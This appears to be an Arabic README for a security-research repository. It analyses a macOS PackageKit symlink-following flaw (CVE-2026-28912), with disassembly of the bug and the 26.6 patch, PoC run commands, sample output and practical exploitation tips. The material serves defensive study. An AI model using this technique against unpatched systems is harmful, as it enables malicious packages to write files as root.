
ملاحظات الهندسة العكسية وإثبات مفهوم عملي (PoC) فعّال لخلل تتبع الروابط الرمزية في macOS PackageKit (CVE-2026-28912)، مع فرق تفكيك التصحيح في الإصدار 26.6.
هندسة عكسية مستقلة لخلل تتبع الروابط الرمزية في macOS PackageKit (CVE-2026-28912)، بالإضافة إلى PoC عامل يوضح قيام المثبّت بكتابة ملف يتحكم به المهاجم بصلاحيات root عبر رابط رمزي لدليل في مسار وجهة التثبيت.
الخلل هو اجتياز مسار غير متزامن في منطق إعادة الربط للملفات في PKCoreShove. يمكن لملف .pkg خبيث أن يعلن عن مسار وجهة في دليل غير محمي، ويضع رابطاً رمزياً لدليل عند أحد مكونات المسار يشير إلى موقع محمي، ويتسبب في قيام المثبّت — الذي يعمل بصلاحيات root — بالكتابة داخل هدف الرابط الرمزي. يضيف إصلاح Apple في 26.6 الدالة _PKSIPOpenPathSafely التي تجتاز كل مكون من مكونات المسار باستخدام O_NOFOLLOW وترفض أي رابط رمزي.
| الحقل | القيمة |
|---|---|
| CVE | CVE-2026-28912 |
| المكوّن | PackageKit (PKCoreShove, PKBundleComponent) |
| المتأثر | macOS Tahoe 26.5 والإصدارات الأقدم |
| تم الإصلاح في | macOS Tahoe 26.6 |
| تأثير الإشعار | "قد يتمكن تطبيق من الحصول على صلاحيات root." |
| CVSS v3.1 | 7.8 (مرتفع) |
| أبلغ عنه | المكتشفون الأصليون وفقاً لإشعار Apple |
يوثّق إشعار Apple الخاص بـ CVE-2026-28912 التأثير والإصدار المُصلَّح. لكنه لا يوثّق الآلية التقنية:
لم يُعثر على أي تقرير تقني عام وقت كتابة هذا النص. يملأ هذا المستودع تلك الفجوة بتحليل هندسة عكسية مستقل لـ PackageKit بين 26.4 و26.6، و PoC عامل يوضح البدائية على أرض الواقع.
هذا ليس ادعاءً بالاكتشاف. تم الإبلاغ عن CVE من قبل المكتشفين الأصليين وأصلحته Apple. المساهمة هنا هي التحليل التقني وإعادة الإنتاج.
PKCoreShove _relinkFile:dest: في macOS 26.4 يجتاز مسار الوجهة مكوّناً بمكوّن عند إنشاء ملف:
; macOS 26.4, PackageKit
1a9fb14f8 _relinkFile:dest:
...
bl _linkResolutionProhibitted ; returns 0 in the normal case
mov w8, 0x10 ; RENAME_NOFOLLOW_ANY
cmp w0, 0
csel w22, w8, wzr, ne ; w22 = 0x10 if prohibited, else 0
...
mov x2, x22
bl _renamex_np ; uses w22 as flags
تُرجع _linkResolutionProhibitted القيمة 0 (false) عندما لا تستطيع العملية المستدعية تعديل ملفات SIP — وهي الحالة الطبيعية لتثبيت يبدأه المستخدم. وهذا يعطّل RENAME_NOFOLLOW_ANY، فيتبع إعادة التسمية أي رابط رمزي في مسار الوجهة.
يضيف إصلاح 26.6 الدالة _PKSIPOpenPathSafely، التي تُستدعى من PKBundleComponent initWithBundleAtPath:relativeToDestination::
; macOS 26.6, PackageKit
1aa6dfe18 bl _PKSIPOpenPathSafely ; walks each component with O_NOFOLLOW
_PKSIPOpenPathSafely:
أي مكوّن يكون رابطاً رمزياً يشير خارج المسار المقصود يُرفض بخطأ EPERM أو ELOOP، ويفشل التثبيت.
راجع docs/ANALYSIS.md للتقرير الكامل و docs/ARTIFACTS.md للعناوين وعينات السجلات.
link.sh — PoC مكتفٍ بذاته في ملف واحد:
التأثير الموضَّح هو بدائية تتبع الروابط الرمزية — وهو بالضبط السلوك الذي يسدّه إصلاح 26.6.
يعمل PoC بالكامل على الهدف. يُنشأ كل من الرابط الرمزي والحمولة محلياً. هذا يُبقي PoC مكتفياً بذاته وقابلاً لإعادة الإنتاج دون أي إعداد شبكة.
chmod +x link.sh
./link.sh
ضبط اختياري عبر متغيرات البيئة:
sudo CONTENT="test content" ./link.sh
يضبط CONTENT المحتوى المكتوب عبر الرابط الرمزي. افتراضياً هو hello.
[*] System information:
ProductName: macOS
ProductVersion: 26.4
BuildVersion: 25E246
[*] Setup...
Symlink: /Users/nerd/cve-poc/target → /Users/nerd/cve-poc/real
[*] Build .pkg...
Payload: /Users/nerd/cve-poc/payload/Users/nerd/cve-poc/target/poc.txt
Package: /Users/nerd/cve-poc/poc.pkg
[*] Install (password prompt expected)...
installer: Package name is poc
installer: Installing at base path /
installer: The install was successful.
[✓] VULNERABILITY CONFIRMED
Landed at /Users/nerd/cve-poc/real/poc.txt
Owner: root:wheel
Content: hello
CVE-2026-28912 trigger SUCCESSFUL
على نظام مُصلَّح (26.6)، يفشل نفس PoC:
[✗] Not triggered
No file was created in /Users/nerd/cve-poc/real/
راجع docs/PATCH_DIFF.md لمقارنة التفكيك.
اكتُشفت تفصيلتان في PoC أثناء التطوير وهما موثّقتان هنا حتى لا يصطدم بهما الآخرون الذين يبنون أدوات مشابهة:
يجب أن يكون الرابط الرمزي عند مكوّن من مكونات المسار التي يجتازها المثبّت. الرابط الرمزي على مستوى الملف عند الورقة النهائية للوجهة يُستبدل بواسطة renamex_np؛ فقط الرابط الرمزي لدليل في منتصف المسار يُتبع.
يجب أن يحاكي مسار الحمولة مسار الوجهة. مع pkgbuild --install-location /، يكون مسار الحمولة هو مسار الوجهة ناقص الشرطة المائلة البادئة /. إذا لم يتطابقا، فلن يجتاز المثبّت الرابط الرمزي أبداً.
كلاهما موثّق في docs/ANALYSIS.md.
يتطلب CVE-2026-28912 كلمة مرور المستخدم لتشغيل المثبّت بصلاحيات root. تلك الكلمة مخصصة للتثبيت، وليس للكتابة عبر الرابط الرمزي. يصرّح المستخدم بالكتابة إلى $HOME/cve-poc/target/، وتعيد الثغرة توجيه الكتابة إلى ما يشير إليه الرابط الرمزي. المساران مختلفان، ولا يرى المستخدم الفرق أبداً.
يُقدَّم هذا المستودع لأغراض البحث الأمني الدفاعي والتعليم فقط.